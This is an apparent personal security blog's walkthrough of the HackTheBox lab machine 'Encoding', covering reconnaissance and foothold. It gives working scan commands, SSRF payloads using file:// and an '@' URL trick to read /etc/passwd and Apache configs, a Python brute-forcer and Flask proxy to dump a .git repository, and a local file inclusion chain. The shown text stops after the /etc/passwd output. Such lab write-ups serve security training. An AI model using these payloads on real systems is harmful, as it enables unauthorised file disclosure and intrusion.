âŗ
Ichyaboy
  • 👋Ichyaboy
  • Hackthebox Related
    • 🎰Machines
      • Linux based Machines
        • Talkative
        • Encoding
      • Windows based machines
        • Silo
    • đŸ•šī¸Challenges (coming soon)
  • Portswigger Related
    • 🔧Server-side topics
      • Business logic flaws
        • Excessive trust in client-side controls
        • 2FA Broken Logic
        • High-level logic vulnerability
        • Inconsistent handling of exceptional input
        • Inconsistent security controls
        • Weak isolation on dual-use endpoint
        • Low-level logic flaw
        • Infinite money logic flaw
      • Information Disclosure
        • Information disclosure in error messages
        • Information disclosure on debug page
        • Source code disclosure via backup files
        • Authentication bypass via information disclosure
        • Information disclosure in version control history
      • Access Control
        • Unprotected admin functionality
        • Unprotected admin functionality with unpredictable URL
        • User role controlled by request parameter
        • User role can be modified in user profile
        • User ID controlled by request parameter
        • User ID controlled by request parameter, with unpredictable user IDs
        • User ID controlled by request parameter with data leakage in redirect
        • User ID controlled by request parameter with password disclosure
        • Insecure direct object references
        • URL-based access control can be circumvented
        • Method-based access control can be circumvented
        • Multi-step process with no access control on one step
        • Referer-based access control
      • File Upload
        • Remote code execution via web shell upload
        • Web shell upload via Content-Type restriction bypass
        • Web shell upload via path traversal
        • Web shell upload via extension blacklist bypass
        • Web shell upload via obfuscated file extension
        • Remote code execution via polyglot web shell upload
        • Web shell upload via race condition
      • Race Conditions
        • Limit overrun race conditions
        • Bypassing rate limits via race conditions
        • Multi endpoint race conditions
        • Single endpoint race conditions
        • Time sensitive vulnerabilities
        • Partial construction race conditions
      • SSRF
        • Basic SSRF against the local server
        • Basic SSRF against another back end system
        • Blind SSRF with out of band detection
        • SSRF with blacklist based input filter
        • SSRF with filter bypass via open redirection vulnerability
        • Blind SSRF with Shellshock exploitation
        • SSRF with whitelist based input filter
      • XXE Injection
        • Exploiting XXE using external entities to retrieve files
        • Exploiting XXE to perform SSRF attacks
        • Blind XXE with out of band interaction
        • Blind XXE with out of band interaction via XML parameter entities
        • Exploiting blind XXE to exfiltrate data using a malicious external DTD
        • Exploiting blind XXE to retrieve data via error messages
        • Exploiting XInclude to retrieve files
        • Exploiting XXE via image file upload
        • Exploiting XXE to retrieve data by repurposing a local DTD
      • Nosql Injection
        • Detecting NoSQL injection
        • Exploiting NoSQL operator injection to bypass authentication
        • Exploiting NoSQL injection to extract data
        • Exploiting NoSQL operator injection to extract unknown fields
      • Api Testing
        • Exploiting an API endpoint using documentation
        • Exploiting server side parameter pollution in a query string
        • Finding and exploiting an unused API endpoint
        • Exploiting a mass assignment vulnerability
        • Exploiting server side parameter pollution in a REST URL
    • đŸŽ¯Client-side topics
      • Cross-site scripting (XSS)
        • Stored XSS
          • Stored XSS into HTML context with nothing encoded
          • Stored XSS into anchor href attribute with double quotes HTML encoded
          • Stored XSS into onclick event with angle brackets and double quotes HTML encoded and single quotes and backslash escaped
        • Reflected XSS
          • Reflected XSS into HTML context with nothing encoded
          • Reflected XSS into attribute with angle brackets HTML encoded
          • Reflected XSS into a JavaScript string with angle brackets HTML encoded
          • Reflected XSS into HTML context with most tags and attributes blocked
          • Reflected XSS into HTML context with all tags blocked except custom ones
          • Reflected XSS with some SVG markup allowed
          • Reflected XSS in canonical link tag
          • Reflected XSS into a JavaScript string with single quote and backslash escaped
          • Reflected XSS into a JavaScript string with angle brackets and double quotes HTML encoded and single quotes escaped
          • Reflected XSS into a template literal with angle brackets, single, double quotes, backslash and backticks Unicode escaped
          • Reflected XSS with event handlers and href attributes blocked
          • Reflected XSS in a JavaScript URL with some characters blocked
        • DOM-based XSS
          • DOM XSS in document.write sink using source location.search
          • DOM XSS in innerHTML sink using source location.search
          • DOM XSS in jQuery anchor href attribute sink using location.search source
          • DOM XSS in jQuery selector sink using a hashchange event
          • DOM XSS in document.write sink using source location.search inside a select element
          • DOM XSS in AngularJS expression with angle brackets and double quotes HTML encoded
          • Reflected DOM XSS
          • Stored DOM XSS
        • CSP Bypass
          • Reflected XSS protected by CSP, with CSP bypass
          • Reflected XSS protected by very strict CSP, with dangling markup attack
        • Client-side template injection
          • Reflected XSS with AngularJS sandbox escape without strings
          • Reflected XSS with AngularJS sandbox escape and CSP
        • Common XSS Attacks
          • Exploiting cross site scripting to steal cookies
          • Exploiting cross site scripting to capture passwords
          • Exploiting XSS to perform CSRF
      • WebSockets
        • Manipulating WebSocket messages to exploit vulnerabilities
        • Cross site WebSocket hijacking
        • Manipulating the WebSocket handshake to exploit vulnerabilities
      • Cross-site Request forgery (CSRF)
        • CSRF vulnerability with no defenses
        • CSRF where token validation depends on request method
        • CSRF where token validation depends on token being present
        • CSRF where token is not tied to user session
        • CSRF where token is tied to non session cookie
        • CSRF where token is duplicated in cookie
        • SameSite Lax bypass via method override
        • SameSite Strict bypass via client side redirect
        • SameSite Strict bypass via sibling domain
        • SameSite Lax bypass via cookie refresh
        • CSRF where Referer validation depends on header being present
        • CSRF with broken Referer validation
      • Cross-origin resource sharing
        • CORS vulnerability with basic origin reflection
        • CORS vulnerability with trusted null origin
        • CORS vulnerability with trusted insecure protocols
      • Clickjacking
        • Basic clickjacking with CSRF token protection
        • Clickjacking with form input data prefilled from a URL parameter
        • Clickjacking with a frame buster script
        • Exploiting clickjacking vulnerability to trigger DOM based XSS
        • Multistep clickjacking
      • DOM-based vulnerabilities
        • DOM XSS using web messages
        • DOM XSS using web messages and a JavaScript URL
        • DOM XSS using web messages and JSON.parse
        • DOM based open redirection
        • DOM based cookie manipulation
        • Exploiting DOM clobbering to enable XSS
        • Clobbering DOM attributes to bypass HTML filters
  • Resources
    • đŸŗī¸Cheatsheets
      • Basic Tools
      • Footprinting
      • Web Inofrmation Gathering
      • Nmap
      • File Transfer
      • Passwords Attacks
      • USING THE METASPLOIT FRAMEWORK
      • Shells & Payloads
      • Attacking Common Services
      • Pivoting, Tunneling, and Port Forwarding
    • 🏴Useful Scripts
      • NoSQL REGEX Password Length
      • NoSQL REGEX Password
      • Creds BruteForce CSRF Handling
Powered by GitBook
On this page
  • Reconnaissonce
  • Foothold
  • Privilege Escalation
  1. Hackthebox Related
  2. Machines
  3. Linux based Machines

Encoding

Reconnaissonce

As always ports scanning comes first, to know which service are running on these ports.

Quick scan (more in depth scans are coming, this one just to get a quick view on the machine)

nmap -sC -sV -O 10.10.11.198s
  • -sC: Use default scanning script

  • -sV: Probe open ports to determine service/version info

  • -O: Enable OS detection

  • -v: Increase verbosity level

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_  256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.52 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4fe3a667a227f9118dc30ed773a02c28 (ECDSA)
|_  256 816e78766b8aea7d1babd436b7f8ecc4 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.52 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

now we need to leave some scans run on the background so we make sure that we cover all the bases and didn't miss anything:

Starting with full TCP ports scan:

nmap -sC -sV -p- nmap/full 10.10.11.198 -v

Follwed by full UPD ports scan:

nmap -sU -p- -oA nmap/full_UDP 10.10.11.198 -v

As we can see port 22 (running OpenSSH 8.9p1) and port 80 (running Apache httpd 2.4.52) are open.

We start checking the webpage that is ruuning on port 80.

Enumeration:

The one thing i always do is set the proxy on burpsuite with the intercept off and start browsing the page and clicking everywhere, then check HTTP history on burpsuite and start analyzing requests (some times some POST requests are missing so i turn on intercept and do that manually). Plus running some directory fuzzing on the page on the background to see if anything is hidden(which is always true xd) and subdomain fuzzing also since we have already api.haxtables.htb

gobuster dir -u http://10.10.11.198 -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt 
gobuster dir -u http://api.haxtables.htb -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
ffuf -u http://haxtables.htb -H "Host: FUZZ.haxtables.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -fw 246

One page got my attention, where the creator describe how this api works (not an actual api).

We will then create this request to communicate with the server by simply taking another intercepted request and make the necessary changes:

POST /v3/tools/string/index.php HTTP/1.1
Host: api.haxtables.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 67
Origin: http://10.10.11.198
Connection: close
Referer: http://10.10.11.198/index.php?page=string

{
        "action": "str2hex",
        "data": "kavigihan"
}

Response:

{"data":"6b617669676968616e"}

Another thing got my attention was this:

We can see that we can send an url. WAIT I know what you are thinking "SSRF" (going to be there in a minute) but let me test if this really works by listening on port 80

nc -lvnp 80
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.198] 60378
GET / HTTP/1.1
Host: 10.10.14.5
Accept: */*

that actually works but we didn't get any useful information from the request.

Let's play with that a little:

{
        "action": "str2hex",
        "file_url": "file:///etc/passwd"
}

Here we are using file:// which is a protocol used to access files on a local or network file system using a URL (Uniform Resource Locator).

{
   "data":"726f6f743a783a303a303a726f6f743a2f726f6f743a2f62696e2f626173680a6461656d6f6e3a783a313a313a6461656d6f6e3a2f7573722f7362696e3a2f7573722f7362696e2f6e6f6c6f67696e0a62696e3a783a323a323a62696e3a2f62696e3a2f7573722f7362696e2f6e6f6c6f67696e0a7379733a783a333a333a7379733a2f6465763a2f7573722f7362696e2f6e6f6c6f67696e0a73796e633a783a343a36353533343a73796e633a2f62696e3a2f62696e2f73796e630a67616d65733a783a353a36303a67616d65733a2f7573722f67616d65733a2f7573722f7362696e2f6e6f6c6f67696e0a6d616e3a783a363a31323a6d616e3a2f7661722f63616368652f6d616e3a2f7573722f7362696e2f6e6f6c6f67696e0a6c703a783a373a373a6c703a2f7661722f73706f6f6c2f6c70643a2f7573722f7362696e2f6e6f6c6f67696e0a6d61696c3a783a383a383a6d61696c3a2f7661722f6d61696c3a2f7573722f7362696e2f6e6f6c6f67696e0a6e6577733a783a393a393a6e6577733a2f7661722f73706f6f6c2f6e6577733a2f7573722f7362696e2f6e6f6c6f67696e0a757563703a783a31303a31303a757563703a2f7661722f73706f6f6c2f757563703a2f7573722f7362696e2f6e6f6c6f67696e0a70726f78793a783a31333a31333a70726f78793a2f62696e3a2f7573722f7362696e2f6e6f6c6f67696e0a7777772d646174613a783a33333a33333a7777772d646174613a2f7661722f7777773a2f7573722f7362696e2f6e6f6c6f67696e0a6261636b75703a783a33343a33343a6261636b75703a2f7661722f6261636b7570733a2f7573722f7362696e2f6e6f6c6f67696e0a6c6973743a783a33383a33383a4d61696c696e67204c697374204d616e616765723a2f7661722f6c6973743a2f7573722f7362696e2f6e6f6c6f67696e0a6972633a783a33393a33393a697263643a2f72756e2f697263643a2f7573722f7362696e2f6e6f6c6f67696e0a676e6174733a783a34313a34313a476e617473204275672d5265706f7274696e672053797374656d202861646d696e293a2f7661722f6c69622f676e6174733a2f7573722f7362696e2f6e6f6c6f67696e0a6e6f626f64793a783a36353533343a36353533343a6e6f626f64793a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a5f6170743a783a3130303a36353533343a3a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d6e6574776f726b3a783a3130313a3130323a73797374656d64204e6574776f726b204d616e6167656d656e742c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d7265736f6c76653a783a3130323a3130333a73797374656d64205265736f6c7665722c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e0a6d6573736167656275733a783a3130333a3130343a3a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a73797374656d642d74696d6573796e633a783a3130343a3130353a73797374656d642054696d652053796e6368726f6e697a6174696f6e2c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e0a706f6c6c696e6174653a783a3130353a313a3a2f7661722f63616368652f706f6c6c696e6174653a2f62696e2f66616c73650a737368643a783a3130363a36353533343a3a2f72756e2f737368643a2f7573722f7362696e2f6e6f6c6f67696e0a7379736c6f673a783a3130373a3131333a3a2f686f6d652f7379736c6f673a2f7573722f7362696e2f6e6f6c6f67696e0a75756964643a783a3130383a3131343a3a2f72756e2f75756964643a2f7573722f7362696e2f6e6f6c6f67696e0a74637064756d703a783a3130393a3131353a3a2f6e6f6e6578697374656e743a2f7573722f7362696e2f6e6f6c6f67696e0a7473733a783a3131303a3131363a54504d20736f66747761726520737461636b2c2c2c3a2f7661722f6c69622f74706d3a2f62696e2f66616c73650a6c616e6473636170653a783a3131313a3131373a3a2f7661722f6c69622f6c616e6473636170653a2f7573722f7362696e2f6e6f6c6f67696e0a7573626d75783a783a3131323a34363a7573626d7578206461656d6f6e2c2c2c3a2f7661722f6c69622f7573626d75783a2f7573722f7362696e2f6e6f6c6f67696e0a7376633a783a313030303a313030303a7376633a2f686f6d652f7376633a2f62696e2f626173680a6c78643a783a3939393a3130303a3a2f7661722f736e61702f6c78642f636f6d6d6f6e2f6c78643a2f62696e2f66616c73650a66777570642d726566726573683a783a3131333a3132303a66777570642d7265667265736820757365722c2c2c3a2f72756e2f73797374656d643a2f7573722f7362696e2f6e6f6c6f67696e0a5f6c617572656c3a783a3939383a3939383a3a2f7661722f6c6f672f6c617572656c3a2f62696e2f66616c73650a"
}

Boom! we got the passwd file but it is in hex format (doesn't matter)

now since we can read files we will take a look at the apache default config file that may give us an idea about the web app location:

{
        "action": "str2hex",
        "file_url": "file:///etc/apache2/sites-enabled/000-default.conf"
}
<VirtualHost *:80>
       ServerName haxtables.htb
       ServerAdmin webmaster@localhost
       DocumentRoot /var/www/html


       ErrorLog ${APACHE_LOG_DIR}/error.log
       CustomLog ${APACHE_LOG_DIR}/access.log combined

</VirtualHost>


<VirtualHost *:80>
       ServerName api.haxtables.htb
       ServerAdmin webmaster@localhost
       DocumentRoot /var/www/api
       ErrorLog ${APACHE_LOG_DIR}/error.log
       CustomLog ${APACHE_LOG_DIR}/access.log combined
</VirtualHost>

<VirtualHost *:80>
        ServerName image.haxtables.htb
        ServerAdmin webmaster@localhost
        
       DocumentRoot /var/www/image

        ErrorLog ${APACHE_LOG_DIR}/error.log
        CustomLog ${APACHE_LOG_DIR}/access.log combined
       #SecRuleEngine On

       <LocationMatch />
              SecAction initcol:ip=%{REMOTE_ADDR},pass,nolog,id:'200001'
              SecAction "phase:5,deprecatevar:ip.somepathcounter=1/1,pass,nolog,id:'200002'"
              SecRule IP:SOMEPATHCOUNTER "@gt 5" "phase:2,pause:300,deny,status:509,setenv:RATELIMITED,skip:1,nolog,id:'200003'"
              SecAction "phase:2,pass,setvar:ip.somepathcounter=+1,nolog,id:'200004'"
              Header always set Retry-After "10" env=RATELIMITED
       </LocationMatch>

       ErrorDocument 429 "Rate Limit Exceeded"

        <Directory /var/www/image>
                Deny from all
                Allow from 127.0.0.1
                Options Indexes FollowSymLinks
                AllowOverride All
                Require all granted
        </DIrectory>

</VirtualHost>

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

We can see from the config file that api.haxtables.htb files are stored at /var/www/api &

we found out that there is another subdomain called image.haxtables.htb which its Document Root is /var/www/image If we check our previous scan for subdomains we will already find that subdomain have been found:

[Status: 200, Size: 0, Words: 1, Lines: 1, Duration: 74ms]
    * FUZZ: api

[Status: 403, Size: 284, Words: 20, Lines: 10, Duration: 89ms]
    * FUZZ: image

we add that to /etc/host:

echo "10.10.11.198  image.haxtables.htb" | sudo tee -a /etc/hosts
  • tee - read from standard input and write to standard output and files

  • -a, --append append to the given FILEs, do not overwrite

We try to visit this site:

import requests, sys, os, json, click


# Define the base URL of your website
url = "http://api.haxtables.htb//v3/tools/string/index.php"

# Define the JSON payload for the POST request
json_payload = {
    "action": "str2hex",
    "file_url": "file:///var/www/image/"
}

proxy = {
    "http": "http://127.0.0.1:8080",
}

def get_wordlist(wordlist):
    with open(wordlist, "r") as wf:
        wordlist = [line.strip() for line in wf]
    return wordlist

@click.command()
@click.option('--wordlist','-w', default='/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt', help='wordlist to brute force with.')
def main(wordlist):
    wordlist =g et_wordlist(wordlist)
    for directory in wordlist:
        json_payload["file_url"] = "file:///var/www/image/" + directory
        response = requests.post(url, json=json_payload, proxies=proxy)
        if response.status_code == 200:
            page= json.loads(response.text.strip())
            page_data= bytes.fromhex(page['data'])
        if len(page_data) == 0:
            response.status_code = 404
        if response.status_code != 404:
            print(f"{directory} - {response.content.decode('utf-8')}")

if __name__ == '__main__':
    main()

as you can see we are using the file:// trick we used previously & here is the result:

python3 brute_dir.py -w '/usr/share/seclists/Discovery/Web-Content/common.txt'
.git/HEAD - {"data":"7265663a20726566732f68656164732f6d61737465720a"}
.git/config - {"data":"5b636f72655d0a097265706f7369746f7279666f726d617476657273696f6e203d20300a0966696c656d6f6465203d20747275650a0962617265203d2066616c73650a096c6f67616c6c72656675706461746573203d20747275650a"}
.git/index - {"data":"444952430000000200000007636d394d0f31d754636d394d0f31d7540000fd00000857ae000081a40000000000000000000000bf2d600ee8a453abd9bd515c41c8fa786b95f96f82001a616374696f6e732f616374696f6e5f68616e646c65722e7068700000000000000000636d394d0f31d754636d394d0f31d7540000fd00000857af000081a4000000000000000000000000e69de29bb2d1d6434b8b29ae775ad8c2e48c53910015616374696f6e732f696d616765327064662e7068700000000000636d394d0f31d754636d394d0f31d7540000fd00000857b2000081a400000000000000000001c7e862370b37f2f05b910c76c23d1d4ce9f7e3413ea6001b6173736574732f696d672f666f726573746272696467652e6a706700000000000000636d394d0f31d754636d394d0f31d7540000fd00000857b4000081a4000000000000000000000333f9d432448807f47dfd13cb71acc3fd6890f21ee00019696e636c756465732f636f6d696e675f736f6f6e2e68746d6c00636d394d0f31d754636d394d0f31d7540000fd00000857b5000081a400000000000000000000005172f0e39a9438fc0f915f63e2f26b762eb170cf8b0009696e6465782e70687000636d40013766bb7f636d3ffb16feb1d60000fd00000857a3000081ed00000000000000000000018cc1308cdc2b0fac3eb5b1e0872cdec44941ff22f50015736372697074732f6769742d636f6d6d69742e73680000000000636d394d0f31d754636d394d0f31d7540000fd00000857b6000081a40000000000000000000004e2ec9b154d84cab1888e2724c1083bf97eb57837c900097574696c732e7068700054524545000000b5003720340a30617cae3686895c80152d93a0568e3d0b6a0c49617373657473003120310a9a515b22daea1a74bbcf5d348ad9339202a8edd6696d67003120300a3d6e60659977f6c6d900f094ab0e33ed594c8dab616374696f6e73003220300a26c6c873fe81c801d731e417bf5d92e5bfa317d273637269707473003120300ae074c833c28d3b024eeea724cf892a440f89a5aa696e636c75646573003120300a2aa032b5df9bbaeedff30b6e13be938e48cae5f42cc54d8cbba4b30e3ecd5f3159aa7b4cf304570e"}

we notice the .git directory, so we're in a git repository, so all we need to do now is to dump that repository using git-dumper.py. Now we need that flask server:

from flask import Flask, make_response
import requests
import json


app = Flask(__name__)


@app.route('/<path:path>')
def index(path):
    json_data = {
        "action" : "str2hex",
        "file_url" : "file:///" + path
    }

    r = requests.post('http://api.haxtables.htb/v3/tools/string/index.php',json=json_data)
    page= json.loads(r.text.strip())
    page_data = bytes.fromhex(page["data"])

    response = make_response(page_data)
    if len(page_data) == 0:
        response.status_code = 404
    response.headers['Content-Type'] = 'text/plain' // to fix git-dumper error
    return response

if __name__ == '__main__':
    app.run()

now we need to to activate the server:

python3 app.py

and run the git-dumper on the /var/www/image directory:

git-dumper http://localhost:5000/var/www/image dumps

now we have all this:

./assets
./assets/img
./assets/img/forestbridge.jpg
./.git
./.git/info
./.git/info/exclude
./.git/index
./.git/refs
./.git/refs/heads
./.git/refs/heads/master
./.git/HEAD
./.git/logs
./.git/logs/refs
./.git/logs/refs/heads
./.git/logs/refs/heads/master
./.git/logs/HEAD
./.git/hooks
./.git/hooks/applypatch-msg.sample
./.git/hooks/post-update.sample
./.git/hooks/update.sample
./.git/hooks/pre-applypatch.sample
./.git/hooks/prepare-commit-msg.sample
./.git/hooks/pre-commit.sample
./.git/hooks/pre-rebase.sample
./.git/hooks/pre-push.sample
./.git/hooks/pre-receive.sample
./.git/hooks/commit-msg.sample
./.git/objects
./.git/objects/62
./.git/objects/62/370b37f2f05b910c76c23d1d4ce9f7e3413ea6
./.git/objects/9a
./.git/objects/9a/515b22daea1a74bbcf5d348ad9339202a8edd6
./.git/objects/e4
./.git/objects/e4/13857aba2ad6d1692337fa09d9ccf00f64aad0
./.git/objects/e0
./.git/objects/e0/74c833c28d3b024eeea724cf892a440f89a5aa
./.git/objects/26
./.git/objects/26/c6c873fe81c801d731e417bf5d92e5bfa317d2
./.git/objects/e6
./.git/objects/e6/9de29bb2d1d6434b8b29ae775ad8c2e48c5391
./.git/objects/c1
./.git/objects/c1/308cdc2b0fac3eb5b1e0872cdec44941ff22f5
./.git/objects/a1
./.git/objects/a1/ac03b768b16cb11819d2ba9bc9016e18c2f1d9
./.git/objects/f9
./.git/objects/f9/d432448807f47dfd13cb71acc3fd6890f21ee0
./.git/objects/2d
./.git/objects/2d/600ee8a453abd9bd515c41c8fa786b95f96f82
./.git/objects/9c
./.git/objects/9c/17e5362e5ce2f30023992daad5b74cc562750b
./.git/objects/30
./.git/objects/30/617cae3686895c80152d93a0568e3d0b6a0c49
./.git/objects/3d
./.git/objects/3d/6e60659977f6c6d900f094ab0e33ed594c8dab
./.git/objects/31
./.git/objects/31/f5bbb2ab636f275e1db54e594911646a6e2d16
./.git/objects/a8
./.git/objects/a8/5ddf4be9e06aa275d26dfaa58ef407ad2c8526
./.git/objects/ec
./.git/objects/ec/9b154d84cab1888e2724c1083bf97eb57837c9
./.git/objects/72
./.git/objects/72/f0e39a9438fc0f915f63e2f26b762eb170cf8b
./.git/objects/2a
./.git/objects/2a/a032b5df9bbaeedff30b6e13be938e48cae5f4
./.git/COMMIT_EDITMSG
./.git/description
./.git/config
./actions
./actions/image2pdf.php
./actions/action_handler.php
./includes
./includes/coming_soon.html
./utils.php
./scripts
./scripts/git-commit.sh
./index.php

after analyzing the repository for a while, if we take a look at action_handler.php

<?php

include_once 'utils.php';

if (isset($_GET['page'])) {
    $page = $_GET['page'];
    include($page);

} else {
    echo jsonify(['message' => 'No page specified!']);
}

?>

We can see that this code is vulnerable to unsanitized input from an HTTP parameter page.

So in order to make a use of this vulnerability we need to make sure that we can interact with action_handler.php . For example if we craft an url it should look like this:

http://image.haxtables.htb/actions/action_handler.php?page=example

we copy that and paste it to the file_url parameter:

{
   "action": "str2hex",
   "file_url": "http://image.haxtables.htb/actions/action_handler.php?page=example"
}

Response:

{
"message":"Unacceptable URL"
}

that doesn't work why?. If we can take a look at utils.php we can see this function:

function get_url_content($url)
{
    $domain = parse_url($url, PHP_URL_HOST);
    if (gethostbyname($domain) === "127.0.0.1") {
        echo jsonify(["message" => "Unacceptable URL"]);
    }

    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTP);
    curl_setopt($ch, CURLOPT_REDIR_PROTOCOLS, CURLPROTO_HTTPS);
    curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,2);
    curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
    $url_content =  curl_exec($ch);
    curl_close($ch);
    return $url_content;

}

which is preventing any connection to localhost.

So from this point we have 2 possibilities i will go through each one.

First Method (Ippsec found this which is the unintended way):

let's focus on this function parse_url($url, PHP_URL_HOST).

This function parses a URL and returns an associative array containing any of the various components of the URL that are present. So for example:

but the bug is in removing http:// part so let's try that:

as we can see it doesn't return anything so we can bypass this condition

if (gethostbyname($domain) === "127.0.0.1") {
        echo jsonify(["message" => "Unacceptable URL"]);
    }

let's try and send that:

{
        "action": "str2hex",
        "file_url": "image.haxtables.htb/actions/action_handler.php?page=example"
}

Response:

{
"data":""
}

Second method:

In this method we will be using the convesrtion request:

POST /handler.php HTTP/1.1
Host: 10.10.11.198
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=UTF-8
Content-Length: 68
Origin: http://10.10.11.198
Connection: close
Referer: http://10.10.11.198/index.php?page=string

{
    "action":"str2hex",
    "data":"ichyaboy",
    "uri_path":"/v3/tools/string"
}

We can assume that at the backend it is append the uri_path to the url. something like this:

http://api.haxtables.htb${URI_PATH} so the trick here is to use the @ (in URLS it seperates the username and the domain) so if we write http://api.haxtables.htb@10.10.14.5 what will happen here is the connection will be redirected to us with the username api.haxtables.htb.

let's try that:

{
    "action":"str2hex",
    "data":"ichyaboy","uri_path":"@10.10.14.5/v3/tools/string"
}

and we listen on port 80

nc -lvnp 80  
listening on [any] 80 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.198] 45980
POST /v3/tools/string/index.php HTTP/1.1
Host: 10.10.14.5
Authorization: Basic YXBpLmhheHRhYmxlcy5odGI6
Accept: */*
Content-Type:application/json
Content-Length: 82

{"data":"ichyaboy","action":"str2hex","uri_path":"@10.10.14.5\/v3\/tools\/string"}

if we decode the Authorization parametre:

echo "YXBpLmhheHRhYmxlcy5odGI6" | base64 -d
api.haxtables.htb:

we can see how this worked.

so now we can revisit image.haxtables.htb/actions/action_handler.php?page=/etc/passwd with applying our trick.

{
    "action":"str2hex",
    "data":"ichyaboy",
    "uri_path":"@image.haxtables.htb/actions/action_handler.php?page=/etc/passwd"
}

it didn't work. So let's change this to our ip addresss and see how the request looks like:

{
"action":"str2hex",
"data":"ichyaboy",
"uri_path":"@10.10.14.5/actions/action_handler.php?page=/etc/passwd"
}
nc -lvnp 80                                
listening on [any] 80 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.198] 49830
POST /actions/action_handler.php?page=/etc/passwd/index.php HTTP/1.1
Host: 10.10.14.5
Authorization: Basic YXBpLmhheHRhYmxlcy5odGI6
Accept: */*
Content-Type:application/json
Content-Length: 111

{
"data":"ichyaboy",
"action":"str2hex",
"uri_path":"@10.10.14.5\/actions\/action_handler.php?page=\/etc\/passwd"
}

We can see that is appending /index.php at the end so we just need to add & to seperate parameters so it should look like this:

nc -lvnp 80
listening on [any] 80 ...
connect to [10.10.14.5] from (UNKNOWN) [10.10.11.198] 55052
POST /actions/action_handler.php?page=/etc/passwd&/index.php HTTP/1.1
Host: 10.10.14.5
Authorization: Basic YXBpLmhheHRhYmxlcy5odGI6
Accept: */*
Content-Type:application/json
Content-Length: 112

{"data":"ichyaboy","action":"str2hex","uri_path":"@10.10.14.5\/actions\/action_handler.php?page=\/etc\/passwd&"}

Now let's try if this works:

{
    "action":"str2hex",
    "data":"ichyaboy",
    "uri_path":"@image.haxtables.htb/actions/action_handler.php?page=/etc/passwd&"
}
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:104::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:104:105:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
pollinate:x:105:1::/var/cache/pollinate:/bin/false
sshd:x:106:65534::/run/sshd:/usr/sbin/nologin
syslog:x:107:113::/home/syslog:/usr/sbin/nologin
uuidd:x:108:114::/run/uuidd:/usr/sbin/nologin
tcpdump:x:109:115::/nonexistent:/usr/sbin/nologin
tss:x:110:116:TPM software stack,,,:/var/lib/tpm:/bin/false
landscape:x:111:117::/var/lib/landscape:/usr/sbin/nologin
usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
svc:x:1000:1000:svc:/home/svc:/bin/bash
